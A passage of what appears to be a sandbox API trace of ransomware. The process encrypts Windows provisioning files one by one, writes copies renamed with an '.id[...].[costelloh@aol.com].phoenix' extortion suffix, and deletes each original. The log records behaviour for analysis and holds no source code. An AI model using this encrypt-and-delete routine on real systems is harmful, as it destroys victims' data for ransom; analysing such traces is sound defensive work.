	[0255.990] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\612__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\612__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0255.991] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151180) returned 1
	[0255.991] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.991] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1cb, lpOverlapped=0x0) returned 1
	[0255.992] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0) returned 1
	[0255.992] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1d0, lpOverlapped=0x0) returned 1
	[0255.993] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151480) returned 1
	[0255.993] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.993] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0255.993] CryptDestroyKey (hKey=0x151480) returned 1
	[0255.993] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0255.993] CryptDestroyKey (hKey=0x151180) returned 1
	[0255.993] CloseHandle (hObject=0x2d0) returned 1
	[0255.993] CloseHandle (hObject=0x2c0) returned 1
	[0255.993] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\612__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\612__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0255.994] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0255.994] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\613__Connections_Cellular_Truphone (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\613__connections_cellular_truphone (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0255.997] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=852) returned 1
	[0255.997] CloseHandle (hObject=0x2c0) returned 1
	[0255.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\613__Connections_Cellular_Truphone (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\613__connections_cellular_truphone (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0255.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\613__Connections_Cellular_Truphone (United Kingdom)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\613__connections_cellular_truphone (united kingdom)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.997] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\613__Connections_Cellular_Truphone (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\613__connections_cellular_truphone (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0255.997] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.997] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.997] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\613__Connections_Cellular_Truphone (United Kingdom)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\613__connections_cellular_truphone (united kingdom)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0255.998] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151140) returned 1
	[0255.998] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.998] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x354, lpOverlapped=0x0) returned 1
	[0256.197] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360, dwBufLen=0x360 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360) returned 1
	[0256.197] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x360, lpOverlapped=0x0) returned 1
	[0256.198] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151640) returned 1
	[0256.198] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.198] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0256.198] CryptDestroyKey (hKey=0x151640) returned 1
	[0256.198] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0256.199] CryptDestroyKey (hKey=0x151140) returned 1
	[0256.199] CloseHandle (hObject=0x2c0) returned 1
	[0256.199] CloseHandle (hObject=0x2d0) returned 1
	[0256.199] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\613__Connections_Cellular_Truphone (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\613__connections_cellular_truphone (united kingdom)_i0$(__mvid)@wap.provxml")) returned 1
	[0256.202] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0256.202] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\619__Connections_Cellular_Truphone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\619__connections_cellular_truphone (hong kong sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.203] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=851) returned 1
	[0256.203] CloseHandle (hObject=0x2d0) returned 1
	[0256.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\619__Connections_Cellular_Truphone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\619__connections_cellular_truphone (hong kong sar)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0256.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\619__Connections_Cellular_Truphone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\619__connections_cellular_truphone (hong kong sar)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.203] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\619__Connections_Cellular_Truphone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\619__connections_cellular_truphone (hong kong sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.203] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.203] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.203] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\619__Connections_Cellular_Truphone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\619__connections_cellular_truphone (hong kong sar)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.204] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151640) returned 1
	[0256.204] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.204] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x353, lpOverlapped=0x0) returned 1
	[0256.206] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360, dwBufLen=0x360 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360) returned 1
	[0256.206] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x360, lpOverlapped=0x0) returned 1
	[0256.207] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1513c0) returned 1
	[0256.207] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.207] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0256.207] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0256.207] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0256.208] CryptDestroyKey (hKey=0x151640) returned 1
	[0256.208] CloseHandle (hObject=0x2d0) returned 1
	[0256.208] CloseHandle (hObject=0x2c0) returned 1
	[0256.208] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\619__Connections_Cellular_Truphone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\619__connections_cellular_truphone (hong kong sar)_i0$(__mvid)@wap.provxml")) returned 1
	[0256.209] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0256.209] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\61__Connections_Cellular_Vivatel (Bulgaria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\61__connections_cellular_vivatel (bulgaria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.210] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=721) returned 1
	[0256.210] CloseHandle (hObject=0x2c0) returned 1
	[0256.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\61__Connections_Cellular_Vivatel (Bulgaria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\61__connections_cellular_vivatel (bulgaria)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0256.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\61__Connections_Cellular_Vivatel (Bulgaria)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\61__connections_cellular_vivatel (bulgaria)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.210] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\61__Connections_Cellular_Vivatel (Bulgaria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\61__connections_cellular_vivatel (bulgaria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.210] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.210] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.210] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\61__Connections_Cellular_Vivatel (Bulgaria)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\61__connections_cellular_vivatel (bulgaria)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.211] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151080) returned 1
	[0256.211] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.211] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d1, lpOverlapped=0x0) returned 1
	[0256.213] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0256.213] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0256.214] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151640) returned 1
	[0256.214] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.214] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0256.214] CryptDestroyKey (hKey=0x151640) returned 1
	[0256.214] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0256.215] CryptDestroyKey (hKey=0x151080) returned 1
	[0256.215] CloseHandle (hObject=0x2c0) returned 1
	[0256.215] CloseHandle (hObject=0x2d0) returned 1
	[0256.215] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\61__Connections_Cellular_Vivatel (Bulgaria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\61__connections_cellular_vivatel (bulgaria)_i0$(__mvid)@wap.provxml")) returned 1
	[0256.216] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0256.216] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\620__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\620__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.217] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=459) returned 1
	[0256.217] CloseHandle (hObject=0x2d0) returned 1
	[0256.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\620__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\620__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0256.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\620__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\620__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.217] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\620__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\620__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.217] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.217] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.217] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\620__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\620__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.218] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0256.218] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.218] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1cb, lpOverlapped=0x0) returned 1
	[0256.219] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0) returned 1
	[0256.219] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1d0, lpOverlapped=0x0) returned 1
	[0256.220] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151480) returned 1
	[0256.220] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
